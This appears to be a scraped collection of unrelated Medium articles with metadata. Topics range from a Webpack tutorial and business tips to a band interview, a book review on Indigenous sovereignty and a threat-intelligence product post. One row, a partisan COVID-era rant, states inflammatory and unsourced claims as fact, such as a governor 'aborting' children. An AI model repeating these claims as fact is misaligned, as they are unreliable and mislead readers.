d. reserve(1000) is used to determine the capacity of the vector or fix the size of vector, in this case it is set to 1000.
Methods in Vector (Contd)
NOTE: “Vectors sometimes does not shrink ; even when the the elements are deleted” “ Reserve method prevents the doubling of the vector and help in faster processing of the vector”
Conclusion
Here we come to end of this blog (Learning of Day 2), hoping to learn something new and share it in a precise way with you all on Day 3. Stay connected.
Image Source: Thank you
Acknowledgement
Special thanks to Coding Blocks C++ Course, for making me understand the concept of vector in such a precise way. | https://medium.com/coding-blocks/introduction-to-vectors-in-c-8e23da143ed9 | ['Dhruv Trehan'] | 2020-06-18 18:28:54.209000+00:00 | ['C Programming', 'Learning', 'Programming', 'Computer Science', 'Vectors'] |
8 Business Resolutions for 2021 | As we turn the page to 2021 (thank goodness), it’s time to start looking toward what we, as business owners, can do to move forward and be successful.
So, if you’re looking at some New Year’s Resolutions for your business, here’s a great place to start
Be Prepared Financially
There were a lot of lessons learned in 2020, especially for business owners. They found their business acumen stretched and tested like no other year before. Now that we appear to be on a slow path to recovery, it’s time for you to get prepared.
Over the past year, you’ve learned how to make your business lean and mean. Odds are, you’ve had to make cuts and you’ve learned what your business needs and what it can live without. If you can manage, make some of those cuts permanent and start building up your business savings.
Create a rainy-day fund and contribute to it weekly. DO NOT touch that fund. This about making sure that your business is ready for another crisis. A rainy-day fund will help secure the future of your business and give you peace of mind so that you can make better decisions in the here and now.
Re-Examine Your Customers Needs
This is something you should be doing every year, but even more so as we move into 2021. Every business industry was affected by COVID-19 in one way or another. For some, their business models changed and they found new ways to conduct their business. For others, they pivoted and jumped into new industries and new sources of income.
Look at your core clients and think about what changes they have made. Do they still need the same thing from you? Do they need more? Is there another way you can serve them that would better fit their needs? Is there a new, adjacent direction your business can take that would serve more customers?
The businesses that are thriving right now have looked at the market, realized that the needs have changed, and pivoted to make sure that these new needs are being served. Don’t allow your business to fall behind.
Let’s Get Digital
According to a 2019 Pew Research study, 90% of adults in America are connected to the internet. 90%. If you’re not online, then you’re doing your business a disservice.
Get a website. Make it mobile-friendly, meaning people can view it with their smartphones and tablets. Create an online store if you sell goods.
That’s just the start and I’m crossing my fingers, hoping that you already have all that.
Once that’s set, start jumping on social media. Pick a few that you feel comfortable with or at least semi-comfortable with. Facebook is good for sharing pictures and short stories about what your business is up to. Instagram is great if you have picture-worthy content (think mouthwatering plates of food). Twitter is a great place if you think you can sum it up in 280 characters or less.
Get some email marketing going. You should be emailing your current clients and potential clients to keep your business in the back of their minds. Even a simple, “Hi. Hope you had a happy holiday. We’re looking forward to working with you in 2021.” will let them know you care and you’re thinking about them.
Start figuring out how to land your company at the top of Google searches. Become a trusted source by creating consumable content that people can use.
There’s so much digital marketing that you can do to help customers find you instead of you finding them.
If you’re stuck, that’s what we’re here for. Intentionally Inspirational has worked hard to understand digital marketing and keep up with the changing market. We’re here if you need us, just schedule a call.
Create Other Streams of Revenue
For some business owners, things are going great. But that doesn’t mean you can sit back and relax. If 90% of your income is all coming from the same source, then what happens if that source of revenue suddenly stops? Your business dies overnight.
That’s why you must create other sources of revenue so that even if one or more of those sources dries up, you still have a way to make money.
It’s a topic I wrote about a few months ago when I talked to Intentionally Inspirational founder Jason Wright about his 6 Buckets of Income. That post is a great jumping-off point if you’re looking for a way to make sure your business survives well past 2021.
Evaluate Your Current Revenue Streams
The other thing you want to do is evaluate the revenue streams you have currently. Is one of them taking up 50% of your time, but only bringing in 5% of your revenue? Do you have a revenue stream that hasn’t been used in more than six months?
By evaluating your current revenue streams and getting rid of the underperforming ones, you’re freeing up resources that you can now commit to the new revenue streams you’re creating.
Find a Mentor or Adviser
You’re the owner, so you are the decision-maker in your business. Some business owners are lucky enough to have trusted employees to sound ideas off of. Others are on their own. Every business owner needs someone to talk to, to get advice from, and to get a second perspective from.
If you don’t have that, find it.
Check out a MeetUp or look on LinkedIn. Look for a local networking group that’s involved in your industry. Check in with your local small business administration. Join your local chamber of commerce.
If you’re really ambitious, start your own networking group with other local small business owners. You need people that you can talk through ideas and problems with, it’s the best way to help your business grow.
Delegate
No matter how hard you try, you cannot do it all. While 2020 may have been the year that you were forced to do it all for your business, no one can sustain that level of work forever. Make 2021 the year that you delegate. Take the tasks that you hate off of your plate and give them to someone else.
When you delegate the things about your business that aren’t fun and take on the tasks that are, you find new energy and a renewed love for your work.
Unstoppable CEO founder Steve Gordon talked to Wright about that earlier this year. Gordon says when you start to delegate, you free yourself up to do the things you love and your business starts growing as a result. Delegating gives you the time to focus on business growth.
Make Time
We also learned from 2020 that time with the ones you love is the most important time of all. When you create and look at your business calendar for 2021, make sure you schedule in time for your family. Save a week during the slow season to visit your parents or take your kids on that camping trip they’ve always asked for.
While your business is valuable and possibly your family’s only source of income, all the money in the world cannot replace time with the people you love. Don’t forget who you’re working for.
Stay safe and have a happy holiday.
Written by Erika Towne | https://medium.com/@intentionallyinspirational/8-business-resolutions-for-2021-8e51a116d178 | ['Intentionally Inspirational'] | 2020-12-20 19:54:10.970000+00:00 | ['Resolutions', 'New Years Resolutions'] |
Have a safe journey | …wishes for A.
CarlosAlcazar / Pixabay
Let the world be kind to you
During every journey
Couse you know it deep inside
There’s also happiness on every corner
And let yourself take
All this energy they give you
Even if it’s in bad faith
You know it’s especially for you
Don’t be fooled by the way
That the gifts are given
It’s just one thing to say -
You don’t have to be forgiven
When you’ll be in the sky
Don’t feel bad that you’re flying
Even after landing be above
It’s not your turn for crying
You’ve got braveness and freedom
That none of them have
You are strong and have wisdom
You grew up into something else
For all those in our lives
Who struggle to play their part
We’ll be always reminder of lies
That common scenario is nice
When everything goes with the plan
None is jealous for travels and fun
None see different options
Of course in wrong proportions
But the truth is that it’s just sad
We’ll never see other side
And in our tiring lives
We should try to be glad
And in all roles that we play
When it is or isn’t all the same
We’d take as much as we can
Ignoring others plan
So let the world be kind to you
During every journey
Although we know it’s true
Each apostate is his one attorney
Let us be a torns in the side for others
They are trapped in petty jealousies
Pretty girls shouldn’t write poems
The younger brothers should follow instructions | https://medium.com/@klaudia-kiki/have-a-safe-journey-605f8a6228f9 | ['Klaudia Kiki'] | 2020-12-20 04:14:44.248000+00:00 | ['Braves', 'Different', 'Poetry', 'Wishes', 'Journey'] |
CivilLaser’s Laser Product Certifications Introduction | CivilLaser’s Laser Product Certifications Introduction
The following are the some laser certifications for CivilLaser’s laser products.
(The certificate for each product is different, The following are just some samples.)
1. CE LVD Certification for laser module.
2. CE EMC Certification for laser module.
3. FDA number for fiber laser.
4. FCC-Certification for fiber laser.
5. IC-Certification for fiber laser.
6. ROHS-Certification for fiber laser.
7. CE-EMC-Certification for fiber laser.
8. CE-LVD-Certification for fiber laser.
Note:
1. We can apply for various certificates according to the needs of our customers.
2. Custom laser products are not certified by default.
We only apply for various types of certification when the customer needs it.
3. Certification fee, according to the actual situation of the order, we negotiate with the customer to solve.
1. CE LVD Certification for laser module.
01-LaserModule-CE LVD Certification.pdf
2. CE EMC Certification for laser module.
02-LaserModule-CE EMC Certification.pdf
3. FDA number for fiber laser.
03 FDA number for fiber laser.pdf
4. FCC-Certification for fiber laser.
04 FCC-Certification for fiber laser.pdf
5. IC-Certification for fiber laser.
05 IC-Certification for fiber laser.pdf
6. ROHS-Certification for fiber laser.
06 ROHS-Certification for fiber laser.pdf
7. CE-EMC-Certification for fiber laser.
07 CE-EMC-Certification for fiber laser.pdf
8. CE-LVD-Certification for fiber laser.
08 CE-LVD-Certification for fiber laser.pdf | https://medium.com/@civillasers/civillasers-laser-product-certifications-introduction-957dfd82ec0 | ['Lasers Civil'] | 2019-11-21 02:34:17.289000+00:00 | ['Certification', 'Rohs', 'FCC', 'Ce', 'FDA'] |
“They Ain’t Ready” | “They Ain’t Ready”
For five years, Jeff & Tripp of Cassio Monroe have made people dance, but they’re only just getting started.
Tripp Weir & Jeff Garrison of Cassio Monroe, performing at 3rd & Lindsley in Nashville, TN.
When I spoke to Tripp and Jeff before they went on stage at 3rd & Lindsley on Friday, November 4th, they were both visibly exhausted… but the moment they stepped up to the microphones, their energy became infectious. They were in their element, doing exactly what they wanted to be doing — having fun and causing people to dance in the process.
The last time I had seen these guys, they were performing at Soulshine Pizza, still known as Gimm+Icky, and they had just been signed by Island Records. Since then, they have changed their name to Cassio Monroe, toured with The Wanted, and released their first EP, First Aid. Watching their performance at 3rd & Lindsley a week ago, I couldn’t stop smiling — and their energy and joy at being on stage together was so bright that I literally could not stay in my seat.
After a while of listening and dancing to their following act, Tim Akers & the Smoking Section, Jeff and Tripp invited me backstage, eager to catch up.
“It’s been four years since I first met and interviewed you two, and a lot has changed -”
“Yes! I believe — was the show called Pajama Jam?” Tripp asks.
“No, it was Balls and Sweaters.” I say.
“Yes! Same year, in December!”
Jeff holds up a finger and says, “Okay, I just want to say, my sweater was on point. It had balls on it!”
“You were best dressed because you had that headdress thing, too.” Tripp says seriously.
Tripp & Jeff performing at 12th & Porter at the Balls and Sweaters Dance Party in 2012.
After more reminiscing of that night, I ask, “How do you think that you and your music have changed over the years, or have you?” It’s instantly obvious that this is something they’ve been thinking about quite a bit lately as they attempt to laugh it off.
“Five!” Jeff yells.
“Twelve…” Tripp replies, laughing.
Jeff takes a breath and leans forward. “When you talk about how music evolves and changes and all these things… it’s really a complex question, especially because we’re coming off of Island… and with First Aid that just came out, we wrote a lot of these songs while we were working with Island. So a lot of the collection of the music on that were really collaborations between me and you over the last year. The evolution of our music is truly shown in what we’re working on right now, because we really wanted to take First Aid and hit the reset button. The music we’re working on now, we’re super passionate about it, about these songs.”
Tripp nods along and adds, “The EP we just released was a reset button. That’s the best phrase for it. It’s all this material we’ve had that we believe in, that we know is valuable and works - and we’ve had no avenues for it, so WE released it. The stuff we’re working on now is a lot more raw, and more real, and more honest music. It won’t be out there for a few more months, but we took a turn a few months ago.”
“We have a little twist on this album that’s coming, and I think that people are going to be very, very…” Jeff searches for a word, then says, “I’m curious to see the response on what we’re doing.”
“That’s in the spring, and we won’t talk about it until it’s out,” Tripp says.
“You guys aren’t with Island anymore?” I ask.
“We’re not with Island, but we still have an enormous amount of respect for them.” Jeff says.
Agreeing, Tripp explains, “We had an opportunity to leave amicably, and we took it. That was it.”
Cassio Monroe’s EP, First Aid — available on iTunes & Spotify
“We love First Aid. First Aid is the songs that we believed in so much that we fought to have them released — and we won. Now we’re doing what we as two individuals believe in, which is different than the collective.” — Tripp Weir
The last time I saw you guys, you were still Gimm+Icky. What prompted the name change?”
“A lot of different moving pieces, I think. It was one of those decisions that we both felt… if outside forces feel passionately about this, then we’re willing to do whatever in order to keep making music. That type of thing.”
Jeff nods in agreement. “And honestly, when we started this band, we had no idea that it would be like this. It was just something fun that we wanted to do. We liked gimmicky pop music, so we named the band Gimm and Icky. As it progressed, people wanted us to take it more seriously. We didn’t want to take it more seriously, but we respected their opinions, and I think we were ready to come up with a name that felt like what the band had grown to at that point — that would represent the band beyond.”
“We just wanted to play shows from time to time and goof off. That was the whole idea,” Tripp says. “Gimm and Icky the name kind of put us in a box, whether we agreed with that or not. It was just something we ran into a lot, and we didn’t want to be in that box.”
“Gimm and Icky may not be gone forever — but we can’t get too deep into it.”
Eventually, I bring First Aid back into the conversation. “I listened to your EP on Spotify and loved it. If each of you could use any song to describe your feelings over the release of your EP, what song would you choose and why?”
There’s a long pause, until eventually Jeff throws out, “It’s Raining Men.”
Tripp punches the air. “That is so good!”
“The lyrical content isn’t relevant or anything, but the feeling of the song is very representative of how I feel,” Jeff interjects. “So I’m just going with ‘It’s Raining Men’ and obviously we would be the men, and we’re making it rain.”
“Yes! Absolutely!” Tripp says, “I think I would go with ‘Ironic’ by Alanis Morissette. It has nothing to do with the EP — I just find it funny that it took this long to release those songs.”
“Right now, we’re taking it back to just Cassio Monroe. Those are the people in the room, those are the people who create the song, those are the people who are going to present anything to anybody, and only when we’re happy with it. Especially with this album, we’re trying to create it from us out, rather than spreading out.” — Jeff Garrison
It is very clear that these guys feel as if they are finally where they want to be with their music, and they are excited. Tripp points out, “We’re creating our new album, just us two and a guitar and some drum loops, and we’re happy with it. We’re back in Nashville, our first reporter is interviewing us again… it’s like we’ve come full circle.”
Setting aside the serious tone, I ask, “If you two were to have a movie made about you in the future, who would you pick to play each other?”
“I get to pick who plays him, and he gets to pick who plays me?” I nod, and Tripp begins pacing thoughtfully.
“I’ve already got it.” Jeff says, “Andrew Garfield.”
“That’s great, actually.” Tripp says, continuing to pace thoughtfully. Jeff is beginning to look nervous.
“Just say Brad Pitt — but from Troy! We look the same in that movie. Or Fight Club! Brad Pitt in Fight Club… those abs are poppin’.”
“I actually have it.”
“Don’t say Jim Gaffigan.”
“No… Bradley Cooper.” Tripp says, adding, “But he has to wear a wig!”
“Wow, I’m giving a Bradley Cooper vibe right now?” Jeff looks surprised. “I’ve got some serious mad respect for you right now, man, I’ve never gotten Bradley Cooper.”
“I think he would nail your whole vibe.”
“I’m very flattered. I mean, I’m crazy as shit, so I guess maybe he’s got a little crazy in him as well?”
“I was at a coffee shop with my wife a couple years ago, and we were babysitting some kids… I bought all this stuff, and the barista says — verbatim! — ‘For Spider Man, it’s free.’ So I go, ‘Uh huh,’ and scoop up the cups and back away.” — Tripp
Sitting there in the sleepy, muted atmosphere back stage at 3rd & Lindsley, I laugh and appreciate the energy that their bromance always brings.
“Andrew Garfield and Bradley Cooper as Cassio Monroe.” Jeff says, grinning. “And I’ve got the title, too… They Ain’t Ready.”
We all laugh and agree, and then Tripp says, “And the sequel is…
“G’on, Tell ‘em.”
Stay up to date on what Cassio Monroe is doing next by liking them on Facebook, follow them on Twitter, and be sure to check out their EP, First Aid, which is now available on iTunes and Spotify! | https://medium.com/meridian-creators/they-aint-ready-660904f68910 | ['Taralei Griffin'] | 2018-01-25 17:17:03.220000+00:00 | ['Interview', 'Dance', 'Music', 'Cassio Monroe', 'Nashville'] |
ENDOMIC: A short film to raise awareness about endometriosis | Happy holidays fellow Citizen Scientists! I’m Ipek Ensari, an Associate Research Scientist working with Dr. Elhadad and the rest of our team at Citizen Endo. This year has been strange and challenging for many, but we have some exciting news to share with you to end 2020 on a high note. Consider this a “save-the-date”!
Back in October, I was selected to participate at the Symbiosis Film Competition held during the 13th Annual Imagine Science Film Festival. Symbiosis selects 6 scientists and 6 filmmakers and pairs them to make a science-inspired short film in 8 days from start to finish, from conceptualization to completion. I was paired with Camille Hollett-French, a Vancouver-based filmmaker, who coincidentally enough was diagnosed with endometriosis in 2016. We both had a desire to make a film that expresses our frustrations about endometriosis from multiple perspectives.
The end product is ENDOMIC, a documentary through the lens of satire about modern medicine’s and society’s take on endometriosis. Using a “mockumentary” format, the film weaves in real patient experiences in parallel with a narrative exploration of its history in the scientific literature, disparities in diagnosis and treatment, and lack of research funding, to raise awareness and help sense-making for patients.
ENDOMIC is unique in several aspects. First, we crafted its satirical story-telling using content from published peer-reviewed research and real patient experiences (even though some of them sound fictional at times!). Next, it features one of our team’s latest publications which reports findings from Phendo demonstrating how mobile health technology and direct patient input can be used to improve our understanding of endometriosis. The film also discusses inclusive medicine and healthcare, a first in this realm, and about a third of the production and acting crew include members with endometriosis in real life.
Much to our excitement, ENDOMIC will be having its world premiere at the Slamdance Film Festival, which runs February 12–25th. The film will screen in the festival’s first ever Unstoppable program for films by filmmakers with visible and non-visible disabilities. If you are interested, the festival gives free passes until December 31st 2020, which you can get here.
We are currently waiting to hear back from other festivals, and we are eager to share endometriosis stories with wider audiences around the world in the coming months. Our goal with this film is to raise public awareness about the lack of visibility and research, treatment gaps, and the disconnect between the patient’s experience versus others’ (e.g., providers, family, friends) perception of endometriosis.
We could not have done this all without you, so we will be hosting a private screening on January 14th just for our Citizen Endo community! This virtual event will also include a moderated discussion panel with Q&A afterwards. If you are interested in partaking in this special sneak peek before the rest of the world, please RSVP here and keep an eye on your inbox for updates! We will follow up with invitations for the event link. We hope you can join us and look forward to seeing you on the 14th!
ENDOMIC has an Instagram account @abloodycrisis, which you can follow for updates and share using the hashtag #ENDOMIC.
We are incredibly grateful to you for being a part of our community, participating in our research, and helping us gain insights on and increase public awareness to endometriosis. Have a wonderful holiday season and a happy new year! | https://medium.com/@citizen-endo/endomic-a-short-film-to-raise-awareness-about-endometriosis-dec1090941f7 | ['Citizen Endo'] | 2020-12-22 23:03:45.776000+00:00 | ['Research', 'Womens Health', 'Citizen Science', 'Film', 'Endometriosis'] |
Utter Absurdity | 1,500 unvaccinated people are dying a day from covid and it isn’t even the biggest story of the day. We’ll never really know how many people died because Republicans are under reporting their numbers.
Twice as many people are dying from covid as they were a year ago even though the vaccine has been available for 6 months. The worst is yet to come.
30% of teachers and principals and nurses at schools have quit across the country.
Proud Boys tried to force their way on to school campuses to protest masks in Vancouver, Washington. Three schools had to be put on lock down.
A pissed off dad in Arizona showed up at his kid’s elementary school with 2 other people to make a citizen’s arrest and zip tie the principal after his kid was asked to quarantine after being exposed to covid. He dragged his kid in to the school with him when he made this horrible scene and was arrested.
“If you leave your house to go zip-tie your kids’ elementary school principal make sure you take your kids’ hopes and dreams with you, and throw them into the garbage can at the end of the driveway, as they won’t need them after this.”- Jeremy Newberger
Dr Steven M. Brown of St Louis has been practicing medicine for over 40 years. He saw more people die in 12 hours than he ever has in his long career. He likened it to a nuclear disaster.
All kindergarten teachers at an elementary school in San Antonio Texas have tested positive for covid.
Greg Abbott has aborted 59 post birth babies since school started by using his power to kill children by making sure they caught covid at school. Texas schools have over 50,000 covid cases. It leads the nation in the number of child deaths just as it outlawed abortion.
Florida is going to run out of oxygen any day now. People will choke and suffocate to death. The Surgeon General of Florida, Scott Rivkees has resigned. He’s over it.
25 staff members in the Miami Dade school district have died in the last 10 days from covid.
An average of 325 people are dying every day from covid in Florida. Probably more.
Protesters showed up at a mobile vaccination site in Georgia and were so outrageous and threatening that the site had to shut down.
An evangelical pastor who got busted for sexting with men from Grindr claims that the vaccine turned him gay.
An unvaccinated ER nurse in Yucaipa, California has died from covid. She leaves behind 5 children and a husband who is in the hospital with covid. Her fifth child was taken early by c-section after she was intubated.
Kid Rock has had to cancel concert dates because most of his band caught covid when they headlined at the Sturgis Rally. Why didn’t he get it? Could he be secretly vaccinated?
Nobody knows what happened to John Pierce, the attorney representing many insurrectionists. He got covid and all of his phones have been disconnected.
Liz Cheney has been named vice chair of the January 6 Select Committee. House Freedom Caucus Chair Andy Biggs wants Qevin McCarthy to remove her and Adam Kinzinger from the GOP conference for being on the Select Committee and serving as “spies.”
The Select Committee has notified 35 telecom companies and asked them for the records of members of Congress and the White House who made calls and texts on January 6 and the days prior. Everybody who has something to hide is FREAKING OUT. GOP leader McCarthy threatened the telecommunications companies in a press conference by saying the future GOP majority will punish them if they comply. 11 Republicans in the House wrote 13 companies and threatened them with legal action (the letter addressed to AT&T wasn’t even the right contact.) Marjorie Taylor Greene went on Fox to reinforce what Qevin said. “If they go along with this, they will be shut down. And that’s a promise.” She and Qevin and all of the other members of the Sedition Caucus could get 5 years on prison if they used their phones to work together to take over the government.
“We’re beyond Shit Show into utter absurdity.” — Michael Wolff
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The Daily Crime Reports are being published as “quarterly reports” (three month groups) as part of “The Treason Chronicles” on Amazon for Kindle. To purchase one or more quarters, click here. | https://medium.com/@spikedolomite/utter-absurdity-d1a89394dc1f | ['Spike Dolomite'] | 2021-09-08 14:41:08.009000+00:00 | ['Covid 19 Crisis', 'Covid 19', 'Texas', 'Select Committee', 'Florida'] |
The Invisible Norm: Indigeneity and Settler-Colonial States | The origin stories of too many modern nation-states are bound together by their subjugation of Indigenous populations whose lived experiences continue to be defined by systemic degradation, deprivation and dispossession. Within The White Possessive: Property, Power, and Indigenous Sovereignty, Aileen Moreton-Robinson draws on her intersectional identity as an Indigenous-Australian academic to argue that racism continues to be enshrined in and reinforced by the contemporary institutions and legal structures of settler-colonial states.
Serving as a challenge to the liberal tradition, the opening chapters of the book detail the way in which the politics of recognition are dictated by the ‘possessive logics of patriarchal white sovereignty’ which are fuelled by the sociohistorical construction of race. In fact, Australian identity itself is depicted as predicated upon a rejection of First Nations sovereignty for the nation-state is socially and culturally constructed as a white possession.
“There is no doubt that Moreton-Robinson’s argument strikes at the core of the Australian identity and the current model of the nation-state which views any assertion of Indigenous sovereignty to be a threat.”
White Australia has, in the past, made a concerted effort to maintain a fantasy of homogeneity and superiority of whiteness that has never existed. Strategies of possession, rationalisations of white supremacy, and assertions of ownership are what underlie the racial structures responsible for erasing Indigeneity from history. For Moreton-Robinson, contemporary Australian identity continues to reaffirm and reproduce a hegemonic narrative of whiteness which embraces colonial logic, racialises Indigenous bodies and illegitimatises Indigenous sovereignty. After all, “you cannot dominate without seeking to possess the dominated. You cannot exclude unless you assume you already own”.
The fiction of terra nullius set in motion one of the greatest thefts of all time. British colonists, and the white migrants which followed, established the sole normative measure for the condition of ‘belonging’ in Australia — a measure modelled on British political ideals which overrode Indigenous political autonomy. Property became merely another tool of oppression for the colonisers who sought to strip Indigenous populations of their homes, identities, and their ability to regain either. Excluded from accumulating capital, Aboriginal and Torres Strait Islander peoples were unable to attain the social worth, authority and ownership that this conferred.
Moreton-Robinson further concludes that colonisation is not an event, but rather an active and enduring process. One only has to look to the decision by the Queensland Government to extinguish native title over Wangan and Jagalingou country for the proposed Adani coal mine in the Galilee Basin to appreciate the way in which the power of property continues to be wielded over Aboriginal and Torres Strait Islander communities. Without public announcement of the decision, Wangan and Jagalingou are once again considered trespassers on their traditional lands and can be forcibly removed.
Moreton-Robinson argues that colonial common law systems continue to designate First Nations as trespassers, with the bestowing of ownership remaining the sole right of the white patriarchal institutions which remain incompatible with the Indigenous ontological connection to country. These contradictory and competing articulations of belonging in ‘post-colonial’ Australia cannot viably coexist. Given that it remains ‘race blind’ through the way in which it reifies and fetishises cultural differences, Moreton-Robinson moves to distance herself from existing Indigenous scholarship. She explicitly reminds her readers that the plight of her people has not been a result of differences in culture, but rather as a product of differences in race.
Indigenous scholarship has historically backgrounded race and critiques of whiteness despite the fact that the black-white racial dichotomy served as the primary justification for Indigenous dispossession. This has meant that the power of property in the story of oppression has been neither fully explored nor appreciated. There is certainly benefit to the epistemic sovereignty possessed by Indigenous studies, but not if it sacrifices the scope of material that can be critiqued. Whilst not without its faults, Moreton-Robinson admires the way in which critical race theory exogenously critiques other disciplinary fields and she draws on its methodological principles within her own work. | https://medium.com/statecraft/the-great-theft-indigeneity-and-settler-colonial-states-31cd6be463b0 | ['Josh Grainger'] | 2021-06-13 05:14:31.440000+00:00 | ['Colonialism', 'Aboriginal', 'Indigenous', 'Race'] |
Should Designers Lead At All? | As a writer of the Design Leadership Notebook, I was triggered by this article on FastCompany about how John Maeda critically dissects the idea of design leadership. The title of the article is “In reality, design is not that important.” In the article, the author reports on how John Maeda, a long time hero of mine, told his audience at SXWS this year that if designers get into a leadership position, things can go terribly wrong. If designers get too much power or, even worse, start playing the boss, a company runs the risk of making wrong decisions. This is totally correct. Because beautiful design means nothing when paired with poor engineering or poor business strategy.
Because designers did not have much power in businesses up until recently, they run the risk of abusing the position of power they are given today. Because design is good for business and being design-led seems the best road to success, designers have more power in organizations today. Couple that with the fact that most designers today still only care about making things beautiful and you have a recipe for disaster.
So far, I totally agree with Maeda. But I don’t really agree with the conclusion Katharine Schwab, the author, presents on FastCompany. She concludes that designers should not be in leadership positions but be good team players. In Maeda’s own words:
“Closing Advice: Earning Best Supporting Actor/Actress is the goal.” — John Maeda
From this Schwab concludes:
“Maeda, who is the head of inclusion and computational design at WordPress parent company Automattic, thinks that design should play a secondary role in tech companies rather than a leadership role.” — Katherine Schwab
I think this is a wrong conclusion and comes from old school ideas about leadership. The traditional idea about leadership is that of the boss who tells people what to do, who has the biggest say in discussions. In a Taylorian Scientific Management world this works, but today these ideas about leadership are outdated and don’t work anymore. Modern leadership is much more about support, enabling and vision. So a supporting actor/actress can be a leader much more than a traditional hierarchical boss would. And designers are ideally positioned to lead with their design tool-, mind- and skillset. The idea that the designer should be the boss is totally out of tune with the workplace of the future which is much more agile, self-steering, lean and in which people have much more autonomy. Leadership in that context will come from people who can connect, who can develop a vision, can create energy. Designers can do these things and can lead from their supporting actor role.
I think it is typical that authors like Schwab jump on this occasion to put designers down. Saying that they should be limited to secondary roles is demeaning. On the other hand, I think it’s good to be critical when it comes to giving designers more power in organizations because designers need to up their game considerably if they want to fulfill leadership roles. Leaders should lead and designers should be considered for leadership positions as much as MBA educated people. But in the world as I see it emerging, everybody can lead and leadership should be distributed. I think it is far more productive for everybody if designers think about how they can lead from any position and if business people don’t jump on every occasion to put designers or design thinking down.
I have been following John Maeda for many years and the way I read his #designintech report this year is that it’s good to be critical and that we are arriving at a more mature vision of how design can lead. Once we get past the peak of inflated expectations, I think it is good to be more critical as we become more mature but we should not try to dismiss the immanent leading role of design. | https://medium.com/design-leadership-notebook/should-designers-lead-at-all-bb91e2142826 | ['Dennis Hambeukers'] | 2019-03-17 15:53:08.506000+00:00 | ['Design Leadership', 'Design Thinking', 'Design', 'Leadership', 'John Maeda'] |
See how to Enhance Orchestration using Threat Intelligence | See how to Enhance Orchestration using Threat Intelligence ThreatQuotient Follow Apr 8 · 2 min read
The global shortage of cybersecurity professionals has now surpassed 4 million according to ISC 2 , yet the volume and velocity of increasingly sophisticated threats security teams face is on the rise. To fill the gap, organizations need to make better use of security professionals they have — enabling them to focus and collaborate on high-priority threats that require their skills and expertise, while automating certain time-intensive, manual tasks. Using the ThreatQ platform in combination with an orchestration platform helps them do this.
The ThreatQ platform gathers external and internal threat and event data, normalizes it for analysis, automatically scores and prioritizes it based on organization-specific parameters, and filters out the noise. It serves as a single source of truth or organizational memory for threats, allowing teams and tools to access the organization’s history of investigations, observations and learnings about adversaries and their tactics, techniques and procedures (TTPs). It also disseminates the prioritized, relevant threat intelligence to various tools and teams across departments within the organization. If an analyst or tool learns something about a high priority threat, all other analysts and tools have access to this information to make the right decisions and perform their tasks. Among those tools are Security Orchestration, Automation and Response (SOAR) platforms, also referred to as orchestration platforms. This is the focus of a recent webinar, “ Enhancing Orchestration using Threat Intelligence “ hosted by ThreatQuotient’s Jana Lind and Sean Drowsky.
Orchestration tools, specifically playbooks, automate processes that we know we always perform the same way. The system responds reflexively, thus reducing the need for humans in this capacity, and only alerts an analyst when human judgement is required. Orchestration platforms aim at driving security efficiency and effectiveness, improving response times and service quality to the rest of the organization.
The ThreatQ platform works with an orchestration platform to deliver the best of both worlds — long term storage and relevant, contextual threat intelligence the ability to make decisions automatically at machine time without an analyst necessarily being involved.
The integration of ThreatQ with an orchestration platform of your choice — for example, Demisto, IBM Resilient, Splunk Phantom or Swimlane — is bi-directional. ThreatQ infuses context, such as indicator, scoring or prioritization information, into the orchestration workflow to enrich playbooks. The orchestration platform sends feedback about the events in the network to the ThreatQ platform. Additional data and learnings enrich ThreatQ’s contextual knowledge as it continually reevaluates and reprioritizes intelligence to further improve detection, investigation and response.
Watch the webinar on demand for a demo of the integration at work. See how ThreatQ and, in this case, Demisto work together to help an organization address an infection of Trickbot malware more efficiently and effectively. | https://medium.com/security-operations/see-how-to-enhance-orchestration-using-threat-intelligence-3791550decc0 | [] | 2020-11-11 15:04:26.168000+00:00 | ['Cyber Threat Intelligence', 'Orchestration', 'Threat Intelligence'] |
Start a React Project Truly from Scratch Using Webpack and Babel | What is Webpack and why is it used?
Webpack is a module bundler; as the name implies, it bundles every module that a project needs into one or more bundles that can be referenced in the primary html file.
For example, when building a JavaScript application that has JavaScript code separated into multiple files, each file must be loaded into the primary html file using the <script> tag.
<body>
...
<script src="libs/react.min.js"></script>
<script src='src/header.js'></script>
<script src='src/dashboard.js'></script>
<script src='src/api.js'></script>
<script src='src/something.js'></script>
</body>
By implementing the use of Webpack, these separate JavaScript files can be intelligently bundled into one file that can then be loaded into the primary html file.
<body>
...
<script src='dist/bundle.js'></script>
</body>
In this instance, using Webpack not only dramatically reduces the number of imports but also eliminates any issues that may arise if the scripts are not loaded in order. Besides module bundling, Webpack also offers Loaders and Plugins which can be used to transform files before, during, or after the bundling process. Loaders and Plugins are explored in further detail later on in this article. | https://joshiaawaj.medium.com/start-a-react-project-truly-from-scratch-using-webpack-and-babel-dbaaeea3f8da | ['Aawaj Joshi'] | 2020-12-07 11:19:59.609000+00:00 | ['React', 'ES6', 'Webpack', 'Jsx', 'Babel'] |
Why I Write | So, why do I write?
I write because I have a job in content marketing. It helps me pay the bills and make sense of having a career.
At work, I write words that help businesses become brands through words. I write because I help brands tell stories to customers. I write because I help people learn more about companies, products and services that they would want to use.
That’s why I write at work.
Beyond all the superficial layers of writing (for work and for others) — there are many reasons why words are my personal tools, weapons and vehicles for self-expression.
And I choose to write the reasons here.
Is that why I write?
I write because I like to share my thoughts, feelings and opinions through words.
I write not because I want to share, but because I have to share.
Expression is at the core of my living philosophy. Maybe, every writer feels that way.
What do I write?
I write articles. I write blog posts. I write product guides. I write ad copy. I write about journeys. I write about feelings. I write about experiences. I also write about happenings.
I write about travelogues. I write about productivity, creativity, self-improvement and art.
I write to make my voice heard in a sea of noise — maybe I am the noise, or maybe I am the signal. I won’t know unless I write.
Is that all to it?
No.
I write to express. I also write to impress. On some days, I also write to confess. I write because I have a voice in me that needs words to say something.
I write to talk, shout, preach. I write to hate and I also write to appreciate.
I write to think, feel, observe and understand. Both the world outside and the world inside me.
I write to turn abstract into actual — something that can be seen, thought, felt and observed. Something that has rhythm, meaning and a message to it.
Where my writing voice comes from?
How I write is how I experience life.
Most of my writing comes from how I think and make sense of the world around me.
The dad jokes. The mom scolds. The office chatters. The surreal wisdom. The profound knowledge. The impressive characters. The obscured stories.
Only words can help me transform these experiences into something tangible.
Words that can give life to these stories because someone out there needs these stories to read, just like I need these stories to write.
I need to write to discover myself, to make something out of myself, to not forget that I live for expression first before anything else.
Okay so why am I writing all this?
I am writing all this because I haven’t written for myself in a long time. It upsets me.
Not having written in a long time bothers me because writing is one of those few things I do for myself.
